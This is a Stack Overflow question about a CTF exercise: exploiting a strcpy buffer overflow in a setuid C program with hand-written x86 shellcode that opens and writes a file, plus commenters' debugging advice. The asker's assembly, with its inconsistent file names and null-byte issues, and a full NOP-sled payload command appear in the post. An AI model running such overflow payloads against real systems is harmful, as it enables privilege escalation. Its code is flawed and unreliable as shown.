0

Hi Stack Overflow community,

I am currently working on a CTF challenge, where I need to perform a buffer overflow on a C program and then execute a shellcode to create and write to a file. The given C program is as follows:

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char** argv)
{
    setuid(0);
    char buffer[500];
    strcpy(buffer, argv[1]);

    return 0;
}

I successfully executed a shellcode that spawns a shell using GDB and a NOP sled. However, I now want to create a shellcode that writes to a file instead. I started by writing a simple x86 assembly code for it, compiling it, and using objdump to retrieve the hex representation, but it doesn't seem to work. The program exits normally, and no file is created.

Here's the x86 assembly code I've written:

global _start
_start:
shellcode:
      jmp before_string
after_jump:
      mov ebx            ; address of "id.txt" string
      xor ecx, ecx        ; Zeroing ecx
      xor eax, eax       ; Zeroing eax
      xor edx, edx       ; Zeroing edx

      mov al, 0x05       ; Open system call
      mov ecx, 0x41       ; O_WRONLY

      mov [ebx+6], dl    ; NULL terminator for "helloworld.txt"
      int 0x80           ; call open("id.txt", 1, 0). File descriptor is returned in eax

      mov ebx, eax       ; Move file descriptor to ebx
      ;Write system call

shellcode_1:
    jmp before_write
after_jump_write:
      pop ecx            ; address of "hello" string
      xor edx, edx       ; Zeroing edx
      xor eax, eax       ; Zeroing eax
      mov [ebx+9], dl    ; NULL terminator for "helloworld.tx"
      mov edx, 0x09      ; length of "hello" string in bytes
      mov al, 0x04       ; write system call
      int 0x80           ; call write(1, "", 9)

      xor eax, eax
      xor ebx, ebx
      mov al, 0x1        ; exit system call
      int 0x80

before_string:
      call after_jump

string_open:
      db "helloworld.txt"

before_write:
      call after_jump_write

string_write:
      db "hello"

I'm not sure why the shellcode isn't working as intended. Can anyone help me identify the issue or provide any guidance on how to correctly create a shellcode to write to a file in x86 assembly after performing a buffer overflow? Any help would be much appreciated. Thank you!

  • 1
    Is the payload padded correct? Have you verified that you shellcode is executing at all? If so, what do you mean by "it isn't working as intended" ? What does it do, what isn't it doing? – h0r53 May 04 '23 at 16:38
  • 3
    What is `mov ebx` without a second parameter? – interjay May 04 '23 at 16:39
  • 1
    I assume that `mov ebx` is supposed to be `pop ebx`, to load the address pushed by `call`. – Peter Cordes May 04 '23 at 16:58
  • 1
    Your shellcode has some `00` bytes in it: `mov ecx, 0x41` should be `lea ecx, [edx+0x41]` or whatever other method you want of generating a constant in a register with machine code free of zeros. [Tips for golfing in x86/x64 machine code](https://codegolf.stackexchange.com/a/132985) . Single-step your exploit in a debugger to see what instructions run after `main` returns into your buffer. – Peter Cordes May 04 '23 at 17:01
  • Thank you, I have fixed the issues you have stated: "run $(python3 -c 'import sys; sys.stdout.buffer.write(b"\x90"*367 + b"\xeb\x2e\x5b\x31\xc9\x31\xc0\x31\xd2\xb0\x05\x8d\x4a\x41\x88\x53\x06\xcd\x80\x89\xc3\xeb\x2c\x59\x31\xd2\x31\xc0\x88\x53\x09\xba\x09\x00\x00\x00\xb0\x04\xcd\x80\x31\xc0\x31\xdb\xb0\x01\xcd\x80\xe8\xcd\xff\xff\xff\x68\x65\x6c\x6c\x6f\x77\x6f\x72\x6c\x64\x2e\x74\x78\x74\xe8\xcf\xff\xff\xff\x68\x65\x6c\x6c\x6f" + b"\x1C\xEC\xFF\xBF" * 10 + b"\x90"*28)')" But yet same issue occures, it exists the function with no file being created. – Itay Etelis May 05 '23 at 05:10
  • 2
    Did you try with a simpler shellcode? Also, in vulnerability research, the source code is almost completely irrelevant, since different compilers can emit different assembly code, not to mention different protections – RE6 May 06 '23 at 17:34
  • 1
    Your shellcode still has 3 `\x00` bytes because you only fixed one of the `mov r32, imm32` cases. Control-f search for x00 found those zeros in your comment; you could have done the same. And/or you could have used a debugger to single-step your exploit like I recommended, and you'd see that the machine code only got copied up to a certain point. – Peter Cordes May 08 '23 at 15:32

0 Answers0